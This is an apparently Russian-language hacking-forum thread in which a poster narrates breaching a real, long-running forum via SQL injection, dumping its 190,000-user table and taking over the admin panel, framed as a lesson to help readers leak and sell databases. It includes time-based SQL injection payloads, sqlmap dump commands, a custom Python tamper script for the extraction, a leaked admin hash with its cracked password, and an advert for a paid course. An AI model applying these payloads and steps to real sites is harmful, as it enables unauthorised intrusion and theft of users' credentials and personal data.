Загрузка...

SQL INJECTION from beginner to professional (Lesson ten) break the forum 190k users

Thread in Web vulnerabilities created by pentest May 19, 2023. (bumped Oct 23, 2023) 2349 views

The poll

Понравилась ли вам статья.Делать продолжение?

  1. Да , будет круто

    30
    93.8%
  2. Нет , я не разбираюсь в этом

    2
    6.3%
  1. pentest
    pentest Topic starter May 19, 2023 Banned
    Приветствую!Тебе всегда было интересно , где люди достают базы данных email:pass , log:pass и другие.В разделе раздача баз для ****а?
    [IMG]
    Или же ты просто хочешь научиться сливать базы , чтобы заработать на этом?Тогда эта статья для тебя:dance: Всё , что тебе нужно - это научиться пользоваться sqlmap`om , burp suite и искать эксплоиты под определенную версию ПО.То есть зачем изобретать велосипед , если ты ломаешь форум который на движке wordpress например.Если версия устаревшая , то есть куча эксплоитов под версию конкретную.Запомните , не нужно сразу радоваться , если вы закинули уязвимый параметр в SQLMAP и он вам выдал технику TIME BASED , вы всю свою жизнь будете сливать такой техникой сайт , потому что он будет перепроверять все [a-z] и [0-9] , а также "_".Еще для каждого символа будет задержка.Ну то есть представляете сколько времени уйдет , если бд будет 190к юзеров???Что мы можем сделать , чтобы найти другую технику , например UNION / ERROR , где данные будут выдаваться не по символам , а сразу целые слова:cool_bun:
    Давайте расскажу , как я действую кратко:
    1)Проверяю все параметры , которые есть на сайте для незарегистрированных пользователей в GET и POST
    2)Пробую обойти WAF , чтобы вместо слепой была любая другая техника
    3)Прохожу регистрацию на сайте и проверяю те параметры , которые доступны для зареганных юзеров
    4)Если ничего не вышло , то ищу поддомены и уже ищу реальный айпи адрес , чтобы запросы шли не через "посредника" а напрямую к ресурсу
    5)Если 1,2,3,4 пункты не помогают , то ищу какой движок на форуме (если это форум) wordpress/joomla и т.д
    название движка версия может быть , где угодно например в стилях .css файлы нужно фаззить любой утилитой на кали линукс например ffuf / dirb и т.д
    Может быть в конце сайта , например:
    [IMG]
    [IMG]
    Также есть расширения , которые определяет cms (движок) сайта например: Wappalyzer
    https://builtwith.com/ или вот такой крутой онлайн сервис , определит вообще всё , что запущено на сайте и какой версии.

    Вот вам видеоролик , чтобы было понятно , что такое эксплоит и как это всё работает.
    [IMG]
    Как мы видим достаточно найти движок , версию движка и эксплоит SQLI или RCE или command injection.
    Простым языком объясню , что такое SQLI,RCE,COMMAND INJECTION
    SQLI - это уязвимость , когда не фильтруется Input пользователя = он может отправлять SQL запросы и они будут выполнять на сервере.Например @@version
    RCE - это уязвимость для запуска шелла.Например мы можем подключиться напрямую к серверу и читать файлы / повышать привилегии
    COMMAND INJECTION - это уязвимость для выполнения коман.Например ?id=ls , ?id=pwd

    Теперь переходим к самому интересному:BrainCosmic:
    Есть вот такой ресурс (форум) очень старенький работает еще с 2004 года
    [IMG]
    Первое , что делаем запускаем софт ffuf/dirb/gobuster , ищем директории.Я нашел /forum/
    [IMG]
    Продолжаем искать дальше:Ktonahuy:
    /forum/admin/ мы нашли админку.Попробуем ввести стандартные данные админа admin:admin.Мы получаем вот такое сообщение:
    [IMG]
    [IMG]
    Нормальная админка не будет выдавать такие сообщения - это было бы странно.Короче это подставная страничка , чтобы ввести вас в заблуждение бывает и такое.Мой софт нашел еще одну админку:
    [IMG]
    /forum/adm
    Отлично!Тут же сделано всё гораздо лучше
    Если ввести неправильные данные , то нам просто об этом сообщат.
    [IMG]
    Как видите ****форсить бесполезно....
    Я составил огромный словарь для поиска директорий и нашел .php файл , который показывает все файлы , которые есть на сайте.
    [IMG]
    Потратил около 6 часов я нашел SQLI TIME BASED уязвимость
    Я подставлял различные полезные нагрузки в параметры.Например:
    SQL
    0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z
    \
    "
    '
    (sleep(5))
    Но ничего из этого не отрабатывало.Я понял , что надо поменять полезную нагрузку и я нашел подходящую
    SQL
    if(now()=sysdate(),sleep(5),0)
    Бурпом перехватил и запустил SQLMAP
    -r file.txt -p id=* --level=5 --risk=3
    time based технику sqlmap нашел , но она пипец медленная.Я около дня раскрывал названия базы данных и таблиц (их было больше 200 шт).
    [IMG]
    Всё , что у вас есть это таблица admins в которой id админа и таблица user в которой 190к юзеров.Если вы их будете лить time based , то на этом уйдет больше месяца и возможно админ заделает дыру.Как быть?Если вы напишите -T user -C userid,email , ТО SQLMAP будет сортировать (ORDER BY EMAIL) а нам нужно , чтобы все значения хоть пароли , хоть мыла , хоть соль что угодно сортировались по userid (ORDER BY userid).Что мы должны сделать первым образом?Это включить режим -v6 В sqlmap , чтобы видеть какой payload.У меня например такой:

    (SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr)
    генерирует различные числа в данном случае 8186 и сортирует по email из-за этого у вас будут сливать сначала емейлы с цифрами , потом по алфавиту , а айдишники не будут от 1 до 190к , т.к равнение так скажем идет на email.Конечно , мы можем взять руками и просто поменять ORDER BY email на ORDER BY userid , НО не забывайте , что у нас time based и админов может быть много...Мы же хотим , чтобы всё было автоматизировано
    Вот у нас админы 1-9 , 13 , 7804 и 23006.Нам нужно , чтобы все запросы сортировались по userid.Нам нужно написать tamper , который будет ORDER BY email заменять на ORDER BY userid.

    (SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr) - было
    (SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY userid LIMIT 1,1),21,1))>45,0,2)))))XmMr) - стало

    Кто знает python , тот легко справится с этой задачей.Напишем собственный tamper на python , который будет корректировать запрос , как нам нужно.
    Python
    # -*- coding: utf-8 -*-
    def tamper(payload, **kwargs):
    order_by_pos = payload.upper().find("ORDER BY")
    if order_by_pos != -1:
    order_by_substr = payload[order_by_pos:]
    if "email" in order_by_substr.lower():
    order_by_substr = order_by_substr.replace("email", "userid")
    payload = payload[:order_by_pos] + order_by_substr


    return payload
    Теперь сливаем таблицу юзеров и у нас будет сортировка по userid.Мы решили проблему и сможем легко достать данные админа:claps:
    tamper`Ы хранятся вот тут - sqlmap\tamper
    Теперь наша команда для SQLMAP выглядит вот так:
    --batch -D название бд -T user -C userid,email --dump --technique=T --tamper=любоеназвание.py --start=1 --stop=13
    Было:
    [IMG]
    Стало:
    [IMG]
    Всё идет , как нужно от меньшего id к большему:da:

    Мы получили email,password,salt,username админа
    Надо ****ить пароль теперь , чтобы вместо хэша был пароль...Запустил полный перебор получил пароль:
    abf264f44e727637ad34cbce8b109d23:;6+`B!wyWpW!QX'xii;L}};v|%PV[;:r0secret****

    Переходим /forum/adm и вводим данные.Мы админ!
    [IMG]

    [IMG]
    Всё , что есть в админке это забаненные юзеры , обычные юзеры email:username , а вот пароли в админке не хранятся.
    Я пробовал сделать бэкап таблицы user , но к сожалению прав на чтение нет...
    [IMG]
    Нашёл php скрипт для бэкапа в той же директории , где все файлы.Вывел названия всех таблиц , баз , колонок , но вот само содержимое не посмотреть...
    Как быть ? Я просто шарился в админке , кликал по разным функциям и напоролся на уязвимый параметр:
    [IMG]
    Нашел этот параметр (линк) в view source.Перехватил бурпом , указал нужный префикс и суффикс sqlmap`y технику , tamper и удалось найти ERROR и UNION.Успешно слили 190к юзеров:claps:
    [IMG]
    [IMG]

    Таким образом мы поломали форум , захватили админку и научились многим полезным вещам.Нравится , как я объясняю , то можешь записаться на мой курс по SQLI уроки будут проходить в дискорде с микрофоном и демкой - https://zelenka.guru/threads/5012873/

    Пишите свои отзывы о статье , если она вам понравилась , вы сильно мне поможете в продвижении:stonks_up:

    [IMG]
     
  2. ХитрыйЛис
    не ну, реклама для курса огонь(я б купил)
    Но ты не указал самое главное
    Как хеши в пароли перевести? Неужели каждый надо через hashcat ****ить
     
    1. pentest Topic starter
      ХитрыйЛис, Да , я составил маски для hashcat и запустил перебор
    2. ХитрыйЛис
      pentest, для новичков курс пойдёт? кенту куплю(он прям нулёвый)
    3. pentest Topic starter
      ХитрыйЛис, Он для этого и создан , чтобы обучить людей у которых есть желание:cool_bun: :dance:
  3. Veori
    Veori May 19, 2023 я в ахуе 6777 Jan 10, 2023
    Ебать тут что-то на умном написано, я слишком туп для этого
     
  4. rickowens
    rickowens May 19, 2023 970 Jun 2, 2018
    АХАХАХАХАХАХАХАХ 300IQ MOMENT
     
    1. Miero
  5. id6996
    id6996 May 19, 2023 ♡ 9999 ▦ 12 апр 2018 165 Apr 12, 2018
    Как-то я нашёл скулю, правда это было давно, но моих знаний не хватит чтобы её слить, а маппер сам дампить её не хочет, думаю она до сих пор там так и висит :peperain:
    А на сайте так то 4кк юзверов...
     
  6. yaw
    yaw Jul 27, 2023 6697 Oct 5, 2019
    ебать ты заморочился, молодец
     
  7. access
    access Aug 6, 2023 Безопасные сделки здесь 5416 Feb 17, 2022
     
Loading...
Top